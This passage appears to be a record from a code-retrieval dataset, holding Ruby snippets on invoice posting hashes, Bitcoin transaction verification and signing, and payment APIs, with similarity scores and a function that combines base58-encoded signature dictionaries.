self.jde_advance_charge_hash(\n labor_amount, \n previous_labor_amount,\n labor_vat_amount, \n previous_labor_vat_amount,\n delta_only, \n with_indicator,\n \"500022\", \n \"Labor\", \n line_item_posting_key_credit, \n line_item_posting_key_invoice)\n if labor_hash.present?\n hashes_array << labor_hash\n # add or subtract the amount from the total\n amount_multiplier = labor_hash[:postingKey] == line_item_posting_key_invoice ? 1 : -1\n total_charge += labor_hash[:amount].to_f * amount_multiplier\n self.advance_charge.update_column(:previous_labor_charge, labor_amount)\n end\n # labor VAT\n if advance_charges.labor_vat.present? && advance_charges.labor_vat > 0\n total_advance_vat += advance_charges.labor_vat\n self.advance_charge.update_column(:previous_labor_vat_charge, labor_vat_amount)\n end\n\n # Miscellaneous\n additional_fee_amount = advance_charges.additional_fee\n previous_additional_fee_amount = advance_charges.previous_additional_fee_charge\n additional_fee_vat_amount = advance_charges.additional_fee_vat\n previous_additional_fee_vat_amount = advance_charges.previous_additional_fee_vat_charge\n # was 304020 (now 150995), changed per SAP, but I lack faith, so this comment is here.\n misc_hash = self.jde_advance_charge_hash(\n additional_fee_amount, \n previous_additional_fee_amount, \n additional_fee_vat_amount,\n previous_additional_fee_vat_amount,\n delta_only, \n with_indicator,\n \"500026\",\n \"Miscellaneous\", \n line_item_posting_key_credit, \n line_item_posting_key_invoice)\n if misc_hash.present?\n hashes_array << misc_hash\n # add or subtract the amount from the total\n amount_multiplier = misc_hash[:postingKey] == line_item_posting_key_invoice ? 1 : -1\n total_charge += misc_hash[:amount].to_f * amount_multiplier\n self.advance_charge.update_column(:previous_additional_fee_charge, additional_fee_amount)\n end\n # Miscellaneous VAT\n if advance_charges.additional_fee_vat.present? && advance_charges.additional_fee_vat > 0\n total_advance_vat += advance_charges.additional_fee_vat\n self.advance_charge.update_column(:previous_additional_fee_vat_charge, additional_fee_vat_amount)\n end\n\n # Storage\n storage_amount = advance_charges.storage_amount || 0\n if advance_charge.storage_daily? && \n advance_charge.storage_from_date.present? &&\n advance_charge.storage_thru_date.present?\n days = (advance_charge.storage_thru_date - advance_charges.storage_from_date).to_i + 1\n storage_amount *= days unless days == 0\n end\n\n previous_storage_amount = advance_charges.previous_storage_charge\n storage_fee_vat_amount = advance_charges.storage_amount_vat\n if advance_charge.storage_daily? && \n advance_charge.storage_from_date.present? &&\n advance_charge.storage_thru_date.present?\n days = (advance_charge.storage_thru_date - advance_charges.storage_from_date).to_i + 1\n storage_fee_vat_amount *= days unless days == 0\n end\n previous_storage_fee_vat_amount = advance_charges.previous_storage_vat_charge\n # was 304015 (now 150990), changed per SAP, but I lack faith, so this comment is here.\n storage_hash = self.jde_advance_charge_hash(\n storage_amount, \n previous_storage_amount, \n storage_fee_vat_amount,\n previous_storage_fee_vat_amount,\n delta_only, \n with_indicator,\n \"500021\", \n \"Storage\", \n line_item_posting_key_credit, \n line_item_posting_key_invoice)\n if storage_hash.present?\n hashes_array << storage_hash\n # add or subtract the amount from the total\n amount_multiplier = storage_hash[:postingKey] == line_item_posting_key_invoice ? 1 : -1\n total_charge += storage_hash[:amount].to_f * amount_multiplier\n self.advance_charge.update_column(:previous_storage_charge, storage_amount)\n end\n # storage VAT\n if advance_charges.storage_amount_vat.present? && advance_charges.storage_amount_vat > 0\n amount = advance_charges.storage_amount_vat\n if advance_charge.storage_daily? && \n advance_charge.storage_from_date.present? &&\n advance_charge.storage_thru_date.present?\n days = (advance_charge.storage_thru_date - advance_charges.storage_from_date).to_i + 1\n amount *= days unless days == 0\n end\n total_advance_vat += amount\n self.advance_charge.update_column(:previous_storage_vat_charge, amount)\n end\n # tear down estimate\n tear_down_estimate_amount = advance_charges.tear_down_estimate\n previous_tear_down_estimate_amount = advance_charges.previous_tear_down_estimate_charge\n tear_down_estimate_vat_amount = advance_charges.tear_down_estimate_vat\n previous_tear_down_estimate_vat_amount = advance_charges.previous_tear_down_estimate_vat_charge\n # was 304018 (now 150993), changed per SAP, but I lack faith, so this comment is here.\n tear_down_hash = self.jde_advance_charge_hash(\n tear_down_estimate_amount, \n previous_tear_down_estimate_amount,\n tear_down_estimate_vat_amount,\n previous_tear_down_estimate_vat_amount,\n delta_only, \n with_indicator,\n \"500024\", \n \"Tear Down Estimate\", \n line_item_posting_key_credit, \n line_item_posting_key_invoice)\n if tear_down_hash.present?\n hashes_array << tear_down_hash\n # add or subtract the amount from the total\n amount_multiplier = tear_down_hash[:postingKey] == line_item_posting_key_invoice ? 1 : -1\n total_charge += tear_down_hash[:amount].to_f * amount_multiplier\n self.advance_charge.update_column(:previous_tear_down_estimate_charge, tear_down_estimate_amount)\n end\n # tear down estimate VAT\n if advance_charges.tear_down_estimate_vat.present? && advance_charges.tear_down_estimate_vat > 0\n total_advance_vat += advance_charges.tear_down_estimate_vat\n self.advance_charge.update_column(:previous_tear_down_estimate_vat_charge, tear_down_estimate_vat_amount)\n end\n # towing\n towing_amount = advance_charges.towing\n previous_towing_amount = advance_charges.previous_towing_charge\n towing_vat_amount = advance_charges.towing_vat\n previous_towing_vat_amount = advance_charges.previous_towing_vat_charge\n # was 304017 (now 150992), changed per SAP, but I lack faith, so this comment is here.\n towing_hash = self.jde_advance_charge_hash(\n towing_amount, \n previous_towing_amount, \n towing_vat_amount,\n previous_towing_vat_amount,\n delta_only, \n with_indicator,\n \"500023\", \n \"Towing\", \n line_item_posting_key_credit, \n line_item_posting_key_invoice)\n if towing_hash.present?\n hashes_array << towing_hash\n # add or subtract the amount from the total\n amount_multiplier = towing_hash[:postingKey] == line_item_posting_key_invoice ? 1 : -1\n total_charge += towing_hash[:amount].to_f * amount_multiplier\n self.advance_charge.update_column(:previous_towing_charge, towing_amount)\n end\n # towing VAT\n if advance_charges.towing_vat.present? && advance_charges.towing_vat > 0\n total_advance_vat += advance_charges.towing_vat\n self.advance_charge.update_column(:previous_towing_vat_charge, towing_vat_amount)\n end\n # yard gate\n yard_gate_amount = advance_charges.yard_gate\n previous_yard_gate_amount = advance_charges.previous_yard_gate_charge\n yard_gate_vat_amount = advance_charges.yard_gate_vat\n previous_yard_gate_vat_amount = advance_charges.previous_yard_gate_vat_charge\n # was 304019 (now 150994), changed per SAP, but I lack faith, so this comment is here.\n yard_gate_hash = self.jde_advance_charge_hash(\n yard_gate_amount, \n previous_yard_gate_amount, \n yard_gate_vat_amount,\n previous_yard_gate_vat_amount,\n delta_only, \n with_indicator,\n \"500025\", \n \"Facility Gate\", \n line_item_posting_key_credit, \n line_item_posting_key_invoice)\n if yard_gate_hash.present?\n hashes_array << yard_gate_hash\n # add or subtract the amount from the total\n amount_multiplier = yard_gate_hash[:postingKey] == line_item_posting_key_invoice ? 1 : -1\n total_charge += yard_gate_hash[:amount].to_f * amount_multiplier\n self.advance_charge.update_column(:previous_yard_gate_charge, yard_gate_amount)\n end\n # yard gate VAT\n if advance_charges.yard_gate_vat.present? && advance_charges.yard_gate_vat > 0\n total_advance_vat += advance_charges.yard_gate_vat\n self.advance_charge.update_column(:previous_yard_gate_vat_charge, yard_gate_vat_amount)\n end\n # Ze Total VAT Por Advance Charges\n previous_total_advance_vat = advance_charges.previous_total_tax_charge.present? ?\n advance_charges.previous_total_tax_charge :\n 0\n # Case for initial send, final send, and CSV files\n if !delta_only\n # nested this if to make the delta if/elsif stuff clearer\n if total_advance_vat > 0\n total_charge += total_advance_vat\n vat_hash = base_jde_hash(false, with_indicator)\n vat_hash[:amount] = total_advance_vat.to_s\n vat_hash[:postingKey] = line_item_posting_key_invoice\n vat_hash[:glAccount] = vat_gl_account\n vat_hash[:itemText] = \"Advance Charges VAT\"\n hashes_array << vat_hash\n self.advance_charge.update_column(:previous_total_tax_charge, total_advance_vat)\n end\n elsif previous_total_advance_vat - total_advance_vat != 0\n diff_amount = total_advance_vat - previous_total_advance_vat\n total_charge += diff_amount\n posting_key = line_item_posting_key_invoice\n if diff_amount < 0\n posting_key = line_item_posting_key_credit\n diff_amount *= -1\n end\n vat_hash = base_jde_hash(false, with_indicator)\n vat_hash[:amount] = diff_amount.to_s\n vat_hash[:postingKey] = posting_key\n vat_hash[:glAccount] = vat_gl_account\n vat_hash[:itemText] = \"Advance Charges VAT\"\n hashes_array << vat_hash\n self.advance_charge.update_column(:previous_total_tax_charge, total_advance_vat)\n end \n end\n\n # we're adding charges!\n if charges.present? && !charges.empty? && include_regular_charges\n # alrighty, let's...\n charges.each do |charge|\n invoice_hash = base_jde_hash(false, with_indicator)\n # get some stuff\n gl_type = charge.gl_type.present? ? charge.gl_type : GlType.new\n # If GLType is empty, either due to the line above or\n # due to the system saving an incomplete charge let's\n # move to the next one\n next if gl_type.code.nil?\n # ignore gotten stuff and move to the next charge\n # if this charge is the VTS (VAT paid) charge as we\n # handle this above in \"Tax on Purchase\"\n next if gl_type.code == \"VTS\"\n # so we can set some stuff\n invoice_hash[:glAccount] = gl_type.sap_code\n invoice_hash[:itemText] = gl_type.description\n invoice_hash[:tax] = \"\" # this wants a code, but we just have an amount (added to amount below)\n # which leads to figuring out some stuff\n amount = charge.charge_amount.present? ? charge.charge_amount : 0\n total_charge += amount # will add total vat to this later\n # ... like, do we use 40 (debit [positive from copart view]) \n # or 50 (credit [negative from copart view]) posting key?\n if amount < 0\n invoice_hash[:postingKey] = line_item_posting_key_credit\n amount *= -1\n else\n invoice_hash[:postingKey] = line_item_posting_key_invoice\n end\n invoice_hash[:amount] = amount.to_s\n # and we should probably add the stuff\n hashes_array << invoice_hash\n end\n end\n\n # If the total is negative we invoice posting variables\n # (and then multiply by -1 to remove the sign)\n if total_charge < 0\n hashes_array.first[:documentType] = document_type_credit\n hashes_array.first[:postingKey] = posting_key_credit\n total_charge *= -1\n end\n # then we set the total\n hashes_array.first[:amount] = total_charge.to_s\n\n # ... and they want the \"indicator\" value to\n # be \"END\" for the last record.\n if with_indicator\n hashes_array.last[:indicator] = \"END\"\n end\n\n # glorious\n hashes_array\n end", "def signing_input=(_); end", "def signing_input=(_); end", "def verify_asset_transaction(asset_transaction)\n raise ArgumentError, \"Asset Transaction is missing\" if !asset_transaction\n\n # Perform a depth-first scanning.\n # When completed, we'll only have transactions that have all previous txs fully verified.\n atx_stack = [ asset_transaction ]\n i = 0\n max_size = atx_stack.size\n while i < atx_stack.size # note: array dynamically changes as we scan it\n atx = atx_stack[i]\n BTC::Invariant(atx.is_a?(AssetTransaction), \"Must be AssetTransaction instance\")\n\n more_atxs_to_verify = partial_verify_asset_transaction(atx)\n if more_atxs_to_verify == nil # Validation failed - return immediately\n return false\n elsif more_atxs_to_verify.size == 0 # atx is fully verifiable (issue-only or we used cached parents), remove it from the list\n \n # outputs may not be all verified because they can be transfers with cached verified inputs.\n # so we need to verify local balance and apply asset ids from inputs to outputs\n if !verify_transfers(atx) \n return false\n end\n\n if i == 0 # that was the topmost transaction, we are done.\n return true\n end\n\n @source.asset_transaction_was_verified(atx)\n atx_stack.delete_at(i)\n i -= 1\n # If this is was the last parent to check, then the previous item would be :parents marker\n # Once we validate the child behind that marker, we might have another child or the marker again.\n # Unroll the stack until the previous item is not a child with all parents verified.\n while (child_atx = atx_stack[i]) == :parents\n BTC::Invariant(i >= 1, \":parents marker should be preceded by an asset transaction\")\n atx_stack.delete_at(i)\n i -= 1\n child_atx = atx_stack.delete_at(i)\n\n # Now all inputs are verified, we only need to verify the transfer outputs against them.\n # This will make outputs verified for the later transactions (earlier in the list).\n if !verify_transfers(child_atx)\n return false\n end\n\n # Now transaction is fully verified.\n # Source can cache it if needed.\n @source.asset_transaction_was_verified(child_atx)\n\n if i == 0 # this was the topmost child, return\n return true\n end\n i -= 1\n end\n else\n # we have more things to verify - dig inside these transactions\n # Start with the last one so once any tx is verifed, we can move back and color inputs of the child transaction.\n atx_stack.insert(i+1, :parents, *more_atxs_to_verify)\n max_size = atx_stack.size if atx_stack.size > max_size\n j = i\n i += more_atxs_to_verify.size + 1\n end\n end\n return true\n end", "def trust_transaction_params\n params.require(:trust_transaction).permit(:date, :transactionAmount, :transactionType, :note)\n end", "def sign(pvt, id, txn)\n raise 'pvt must be of type Key' unless pvt.is_a?(Key)\n raise 'id must be of type Id' unless id.is_a?(Id)\n raise 'txn must be of type Txn' unless txn.is_a?(Txn)\n pvt.sign(body(id, txn))\n end", "def create_transaction(transaction)\n if transaction.kind_of?(Hash)\n transaction = ArrowPayments::Transaction.new(transaction)\n end\n\n # Set default transaction attributes\n transaction.transaction_source = \"API\"\n\n params = transaction.to_source_hash\n params[\"Amount\"] = params[\"TotalAmount\"]\n\n resp = post(\"/transaction/add\", params)\n\n if resp[\"Success\"] == true\n ArrowPayments::Transaction.new(resp)\n else\n raise ArrowPayments::Error, resp[\"Message\"]\n end\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :account_id, :note, :sign, :account_to_id)\n end", "def p2sh_sigops_count(tx)\n return 0 if tx.is_coinbase?\n\n sigops = 0\n tx.inputs.each do |txin|\n txout = @storage.output_for_outpoint(txin.prev_out, txin.prev_out_index)\n if txout.parsed_script.is_p2sh?\n sigops += ::Bitcoin::Script.new(txin.script_sig).sigops_count_for_p2sh\n end\n end\n\n return sigops\n end", "def to_witness_payload\n pin = \"\"\n @in.each{|input| pin << input.to_payload }\n pout = \"\"\n @out.each{|output| pout << output.to_payload }\n payload = [@ver].pack(\"V\") << [0].pack(\"c\") << [1].pack(\"c\") << Bitcoin::Protocol.pack_var_int(@in.size) << pin <<\n Bitcoin::Protocol.pack_var_int(@out.size) << pout << @witness.to_payload << [@lock_time].pack(\"V\")\n payload\n end", "def validate_sendtomultisig_inputs(data)\n response = {}\n response['status'] = false\n\n if data.length < 6\n response['err_msg'] = 'Insufficient number of parameters!'\n return response\n end\n\n begin\n data[1] = Integer(data[1])\n data[2] = btc_to_satoshi(Float(data[2]))\n data[3] = Integer(data[3])\n\n transaction = retrieve_transaction_from_utxo(data[0], data[1])\n\n if transaction.nil?\n response['err_msg'] =\n 'Either invalid, non-wallet or already spent Transaction ID,' \\\n 'or incorrect vout index'\n return response\n end\n\n if btc_to_satoshi(transaction['value']) < (data[2] + TRANSACTION_FEE)\n response['err_msg'] =\n 'Amount to transfer must be less than the transaction amount'\n return response\n end\n\n payee_addresses = data.slice(4..-1)\n\n if data[3] > payee_addresses.length\n response['err_msg'] =\n 'Minimum signatures required must be less than or equal to' \\\n 'the number of payee addresses provided'\n return response\n end\n\n payee_addresses.each { |address|\n next if valid_address? address\n response['err_msg'] =\n 'Either invalid or non-wallet payee address: ' + address\n return response\n }\n\n response['status'] = true\n return response\n rescue\n response['err_msg'] = 'Invalid parameter values!'\n return response\n end\nend", "def get_txouts_for_pk_script(script)\n raise \"Not implemented\"\n end", "def signature_params\n params.require(:signature).permit(:sign)\n end", "def sign(data, padding: nil, rng: Botan::RNG.new)\n sign = Botan::PK::Sign.new(key: self, padding: padding)\n sign << data\n sign.finish(rng)\n end", "def add_input(txin)\n raise ArgumentError, \"Input is missing\" if !txin\n if !(txin.transaction == nil || txin.transaction == self)\n raise ArgumentError, \"Can't add an input to a transaction when it references another transaction\" # sanity check\n end\n txin.transaction = self\n txin.index = @inputs.size\n @inputs << txin\n self\n end", "def create_commits commits_array\n commits_array = [commits_array] if commits_array.is_a? Hash\n normalize_commit_data commits_array\n commits_array.each do |commit_data|\n create_commit add_default_commit_data(commit_data)\n end\nend", "def generate_transactions\n accounts = if params[:account].eql?('All')\n Account.all\n else\n Account.where(id: params[:account])\n end\n accounts.each do |account|\n matching_dealers = Dealer.where(currency: account.currency)\n (0...params[:how_many].to_i).each do |_i|\n dealer = get_weighted_random_dealer matching_dealers\n account.transactions.create!(\n account: account,\n dealer_account_number: dealer.account_number,\n dealer_name: dealer.name,\n amount: get_random_amount(dealer),\n currency: account.currency,\n created_at: get_random_time(params[:period])\n )\n end\n end\n total_count = params[:how_many].to_i * accounts.length\n redirect_to admin_transactions_path, notice: \"Successfully generated #{total_count} transactions.\"\n end" ]
[ "0.6639156", "0.612882", "0.58752424", "0.57744056", "0.5283584", "0.5280524", "0.5243925", "0.5218904", "0.51741624", "0.5125728", "0.50553656", "0.49807802", "0.4972517", "0.4966449", "0.49388856", "0.48918334", "0.4776902", "0.4749058", "0.47110122", "0.46888185", "0.46682745", "0.4666449", "0.4661999", "0.46570748", "0.4654223", "0.46514735", "0.46226272", "0.46089852", "0.4589181", "0.45877415", "0.4580562", "0.45733416", "0.4572758", "0.4569511", "0.45621508", "0.4551645", "0.4544344", "0.45249167", "0.4509893", "0.4503967", "0.44859764", "0.4455775", "0.44357228", "0.44304445", "0.44237784", "0.44186696", "0.44112787", "0.4410769", "0.4404682", "0.43997943", "0.43995723", "0.43947843", "0.43912476", "0.43807068", "0.43752226", "0.4373016", "0.43595704", "0.43594703", "0.43574852", "0.43567747", "0.43484613", "0.43467334", "0.4334971", "0.4321246", "0.43100345", "0.43009567", "0.42990866", "0.42905143", "0.4286231", "0.42831776", "0.4281247", "0.42608398", "0.4257768", "0.42573145", "0.4254127", "0.42358044", "0.42347652", "0.4225282", "0.42200628", "0.4217369", "0.42121425", "0.42121425", "0.4212076", "0.42079487", "0.4198254", "0.4198254", "0.41958642", "0.41924652", "0.41908664", "0.41883713", "0.418614", "0.41850257", "0.4184511", "0.41839814", "0.41821575", "0.41754678", "0.4175266", "0.41733593", "0.41699463", "0.4169705" ]
0.62909025
1
Takes any number of "signature dictionaries", which are Hashes where the keys are tree names, and the values are base58encoded signatures for a single input. Returns an Array of the signatures in binary, sorted by their tree names.
def combine_signatures(*sig_dicts) combined = {} sig_dicts.each do |sig_dict| sig_dict.each do |tree, signature| decoded_sig = decode_base58(signature) low_s_der_sig = Bitcoin::Script.is_low_der_signature?(decoded_sig) ? decoded_sig : Bitcoin::OpenSSL_EC.signature_to_low_s(decoded_sig) combined[tree] = Bitcoin::OpenSSL_EC.repack_der_signature(low_s_der_sig) end end # Order of signatures is important for validation, so we always # sort public keys and signatures by the name of the tree # they belong to. combined.sort_by { |tree, value| tree }.map { |tree, sig| sig } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def signatures(transaction, names: [:primary])\n transaction.inputs.map do |input|\n path = input.output.metadata[:wallet_path]\n node = self.path(path)\n sig_hash = transaction.sig_hash(input, node.script)\n node.signatures(sig_hash, names: names)\n end\n end", "def signature_hexes\n return [] unless @vulnerability_finding_signatures_enabled && signatures.present?\n\n signatures.sort_by(&:priority).map(&:signature_hex).reverse\n end", "def signatures\n parsed {\n @signatures \n }\n end", "def normalise_signature_params\n signature_params.sort.collect{|key, value| \"#{key}=#{value}\"}.join(\"&\")\n end", "def createsignature(str)\r\n signature_raw = sign(str)\r\n signature_der = ECDSA::Format::SignatureDerString.encode(signature_raw)\r\n signature_der_b64 = Base64.strict_encode64(signature_der) \r\n digest_raw = Digest::SHA256.digest(str)\r\n digest_b64 = Base64.encode64(digest_raw)\r\n #Base64 encoding was used due to the readablility, and transportability. \r\n puts(\"Signature (b64 encoded der): \"+signature_der_b64)\r\n puts(\"Digest (b64 endoded): \"+digest_b64)\r\n $signature_array.push(signature_der_b64)\r\n $digest_array.push(digest_b64)\r\n #return signature_der_b64\r\nend", "def signature_of(word)\n word.unpack(\"c*\").sort.pack(\"c*\")\nend", "def sign(t_outputs)\n # binding.pry\n Base64.encode64(private_key.sign(OpenSSL::Digest::SHA256.new, t_outputs.to_json))\n end", "def formatted_signature(signature)\n n = (verify_key_length.to_f / BYTE_LENGTH).ceil\n\n if signature.size == n * 2\n r = signature[0..(n - 1)]\n s = signature[n..-1]\n\n OpenSSL::ASN1::Sequence.new([r, s].map { |int| OpenSSL::ASN1::Integer.new(OpenSSL::BN.new(int, 2)) }).to_der\n else\n signature\n end\n end", "def aggregate_signatures(signatures)\n raise BLS::Error, 'Expected non-empty array.' if signatures.empty?\n\n signatures.map { |s| BLS.norm_p2(s) }.inject(PointG2::ZERO) { |sum, s| sum + s }\n end", "def verify_signatures spec, digests, signatures\n if only_signed and signatures.empty? then\n raise Gem::Security::Exception,\n \"unsigned gems are not allowed by the #{name} policy\"\n end\n\n digests.each do |file, digest|\n signature = signatures[file]\n raise Gem::Security::Exception, \"missing signature for #{file}\" unless\n signature\n verify_signature signature, digest.digest, spec.cert_chain\n end\n end", "def parse_signature(signature)\n # return signature.shift, signature.shift\n [signature.shift, signature.shift]\n end", "def sign_digest(params)\n sign = []\n params.sort.each do |p|\n sign << p[0].to_s + '=' + p[1].to_s + '&'\n end\n sign << \"key=#{@key}\"\n Digest::MD5.hexdigest(sign.join).upcase\n end", "def signatures\n xpath(\"descendant::ds:Signature\", NAMESPACES).reverse\n end", "def digests_data\n {\n '1' => '7a8a3dad389031160f79817c14bb5f3adf058335',\n '2' => '8d4fc3e19f141135ca59f0ba5d9e8b634f04840e',\n '3' => '88f879b8aa22eb340019449955accdca62886f64',\n '4' => 'dba9f7cc5b15cc2eee74a288e6c04431d2f5e509',\n '5' => 'febf0d5b94e4dd2cd23f3a9cd515641885a50980',\n '6' => '2628bf51107c4c5cd581179df5d1148821f8a7a8',\n '7' => '83f929fdce5dfe931f9ccc6af49e2cfd436740f4',\n '8' => '5f9e781563ab48e7a67ec4500321b1ebe553f3fc',\n '9' => '8b14bf8dfa2bc7d74443cd9c4a0d836f1341becb',\n '10' => '5442273b216f7c843de10acc57c33638f7848f74',\n '11' => '3871068443e406fbff7ad6f91bd395bf9482a259',\n '12' => '9e52c47b63dd968ba2349779a86986eff2f2b860',\n '13' => '658ba6008127dc4e61eb5bbe70ec69be5524b845'\n }\n end", "def keys\n head.commit.tree.contents.map{|blob| deserialize(blob.name) }\n end", "def keys\n head.commit.tree.contents.map{|blob| deserialize(blob.name) }\n end", "def rsa_sign arr\n # RFC 3447 / 9.2.\n hash = Digest::SHA1.digest arr.map(&:chr).join\n\n # RFC 3447 / page 43\n digest_info = [0x30, 0x21, 0x30, 0x09, 0x06,\n 0x05, 0x2b, 0x0e, 0x03, 0x02,\n 0x1a, 0x05, 0x00, 0x04, 0x14].map(&:chr).join\n\n # i don't do the padding, openssl does that for me\n # i'll reimplement RSA later on\n signature = HOST_KEY.private_encrypt(digest_info + hash)\nend", "def sort_pubkeys(pubkeys)\n pubkeys.map{|p| hex_string?(p) ? p : p.unpack1('H*')}.sort\n end", "def index_signature\n Digest::SHA256.new(@gems.keys.sort.join(',')).to_s\n end", "def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end", "def get_pubkeys\n chunks\n .select do |c|\n c.pushdata? && [33, 65].include?(c.pushed_data.bytesize) &&\n [2, 3, 4, 6, 7].include?(c.pushed_data[0].bth.to_i(16))\n end\n .map { |c| c.pushed_data.bth }\n end", "def infer_signature_pins signature, context_pin, locals\n return [] if signature.nil? or signature.empty?\n base, rest = signature.split('.', 2)\n return infer_word_pins(base, context_pin, locals) if rest.nil?\n pins = infer_word_pins(base, context_pin, locals).map do |pin|\n next pin unless pin.return_type.nil?\n type = resolve_pin_type(pin, locals - [pin])\n Pin::ProxyMethod.new(type)\n end\n return [] if pins.empty?\n rest = rest.split('.')\n last = rest.pop\n rest.each do |meth|\n found = nil\n pins.each do |pin|\n found = infer_method_name_pins(meth, pin)\n next if found.empty?\n pins = found\n break\n end\n return [] if found.nil?\n end\n pins.each do |pin|\n found = infer_method_name_pins(last, pin)\n return found unless found.empty?\n end\n []\n end", "def gen_sig(mac, params)\n signed = params[\"signed\"].split(\",\").map {|k| [k, params[k]]}\n base64_encode(Signatures.sign(mac, kv_encode(signed)))\n rescue Signatures::NotFound\n nil\n end", "def documents_requiring_signature_with_position\n flat_descendants = Hash.deep_flatten_keys(tree: descendants.as_tree)\n flat_descendants.select(&:signature_required?)\n end", "def compute_checksums data\n\n digest = OpenSSL::Digest::Digest.new('sha256')\n tree_digest = OpenSSL::Digest::Digest.new('sha256')\n tree_parts = []\n\n until data.eof?\n\n chunk = data.read(1024 * 1024) # read 1MB\n tree_parts << tree_digest.update(chunk).digest\n tree_digest.reset\n\n digest.update(chunk)\n\n end\n\n data.rewind\n\n [digest.to_s, compute_tree_hash(tree_parts)]\n\n end", "def transloadit_params_signature(params)\n auth_secret = Lynr.config('app')['transloadit']['auth_secret']\n return nil if auth_secret.nil?\n digest = OpenSSL::Digest::Digest.new('sha1')\n OpenSSL::HMAC.hexdigest(digest, auth_secret, JSON.generate(params))\n end", "def signature t\n case t\n when nil, true, false; 0\n when Numeric; 1\n when String, Symbol; 2\n when Array; t.map {|v| signature(v)}\n when Hash; t.each_with_object({}) {|(k,v), h| h[k] = signature(v)}\n else raise ArgumentError, \"cannot compute signature for #{t.inspect}\"\n end\n end", "def compute_signature params\n if $DEBUG\n puts \"keys before sorted: #{params.keys}\"\n end\n\n sorted_keys = params.keys.sort\n\n if $DEBUG\n puts \"keys after sorted: #{sorted_keys}\"\n end\n\n canonicalized_query_string = \"\"\n\n canonicalized_query_string = sorted_keys.map {|key|\n \"%s=%s\" % [safe_encode(key.to_s), safe_encode(params[key])]\n }.join(self.service.separator)\n\n length = canonicalized_query_string.length\n\n string_to_sign = self.service.http_method + self.service.separator + safe_encode('/') + self.service.separator + safe_encode(canonicalized_query_string)\n\n if $DEBUG\n puts \"string_to_sign is #{string_to_sign}\"\n end\n\n signature = calculate_signature access_key_secret+\"&\", string_to_sign\n end", "def signature_bytes; NaCl::ED25519_SIGNATUREBYTES; end", "def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end", "def init_bip45_pubkey(wallet, cosigners_count, required_signs)\n # Get all cosigners public bip32 keys to hash with indexes\n keys = {}\n cosigners_count.times do |i|\n keys[i] = wallet[\"cosigner#{i}\".to_sym][:master][:public]\n end\n\n opts = {\n required_signs: required_signs,\n public_keys: keys,\n network: NETWORK\n }\n node = MultisigMoneyTree::BIP45Node.new(opts)\n \n wallet[:bip45] = {}\n wallet[:bip45][:public] = node.to_bip45(network: NETWORK)\nend", "def signature_of(word)\n\t\t\tword.unpack(\"c*\").sort.pack(\"c*\")\n\t\tend", "def sign(message, foreign_keys)\n raise ArgumentError \"Foreign keys must all have the same hasher\" unless foreign_keys.all?{ |e| e.hasher == hasher }\n\n message_digest = hasher.hash_string(message)\n seed = hasher.hash_array([value, message_digest])\n\n all_keys = hasher.shuffle([self] + foreign_keys, seed)\n\n q_array, w_array = generate_q_w(all_keys, seed)\n ll_array, rr_array = generate_ll_rr(all_keys, q_array, w_array)\n challenge = hasher.hash_array([message_digest] + ll_array + rr_array)\n c_array, r_array = generate_c_r(all_keys, q_array, w_array, challenge)\n\n public_keys = all_keys.map(&:public_key)\n signature = Signature.new(key_image, c_array, r_array, hasher)\n\n [signature, public_keys]\n end", "def fetch_signature(params)\n sig = params.fetch(\"sig\", nil) || params.fetch(\"s\", nil)\n sig && sig.first\n end", "def fetch_signature(params)\n sig = params.fetch(\"sig\", nil) || params.fetch(\"s\", nil)\n sig && sig.first\n end", "def parse_signature(signature, tymap=nil)\n tymap ||= {}\n signature = signature.gsub(/\\s+/, \" \").strip\n case signature\n when /^([\\w@\\*\\s]+)\\(([\\w\\*\\s\\,\\[\\]]*)\\)$/\n ret = $1\n (args = $2).strip!\n ret = ret.split(/\\s+/)\n args = args.split(/\\s*,\\s*/)\n func = ret.pop\n if( func =~ /^\\*/ )\n func.gsub!(/^\\*+/,\"\")\n ret.push(\"*\")\n end\n ret = ret.join(\" \")\n return [func, parse_ctype(ret, tymap), args.collect{|arg| parse_ctype(arg, tymap)}]\n else\n raise(RuntimeError,\"can't parse the function prototype: #{signature}\")\n end\n end", "def search_signatures(request)\n data, _status_code, _headers = search_signatures_with_http_info(request)\n data\n end", "def CHECKMULTISIG\n public_keys = []\n items_or_count = evaluation_stack.pop\n if items_or_count.is_a? Array\n public_keys = items_or_count.map { |item| unwrap_byte_array item }\n fault! if public_keys.length.zero?\n else\n count = unwrap_integer items_or_count\n fault! if count.zero? || count > evaluation_stack.size\n count.times do\n public_keys.push unwrap_byte_array(evaluation_stack.pop)\n end\n end\n signatures = []\n items_or_count = evaluation_stack.pop\n if items_or_count.is_a? Array\n signatures = items_or_count.map { |item| unwrap_byte_array item }\n fault! if signatures.length.zero? || signatures.length > public_keys.length\n else\n count = unwrap_integer items_or_count\n fault! if count < 1 || signatures.length > public_keys.length || signatures.length > evaluation_stack.size\n count.times do\n signatures.push unwrap_byte_array(evaluation_stack.pop)\n end\n end\n message = script_container.get_message\n success = true\n i = 0\n j = 0\n while success && i < signatures.length && j < public_keys.length\n i += 1 if SDK::Simulation.verify_signature message, signatures[i], public_keys[j]\n j += 1\n success = false if signatures.length - i > public_keys.length - j\n end\n evaluation_stack.push success\n end", "def handle_assemble_tx tx_hex, sig_pubs\n tx = Bitcoin::P::Tx.new(tx_hex.htb)\n sig_pubs.each.with_index do |sig_pub, idx|\n sig, pub = *sig_pub.map(&:htb)\n script_sig = Bitcoin::Script.to_signature_pubkey_script(sig, pub)\n tx.in[idx].script_sig_length = script_sig.bytesize\n tx.in[idx].script_sig = script_sig\n end\n tx = Bitcoin::P::Tx.new(tx.to_payload)\n tx.validator(@node.store).validate(raise_errors: true)\n tx.to_payload.hth\n rescue\n { error: \"Error assembling tx: #{$!.message}\" }\n end", "def generate_signature\n sha1x16 = Digest::SHA1.hexdigest(signed_string)\n .tap { |s| logger.debug \"sha1x16 #{s}\" }\n enc = case form_fields['signMethod']\n when '01' # 01 means RSA\n merchant_private_key.sign(OpenSSL::Digest::SHA1.new, sha1x16)\n .tap { |s| logger.debug \"enc #{s}\" }\n else # at current time (2015-05-25) no other signing method is 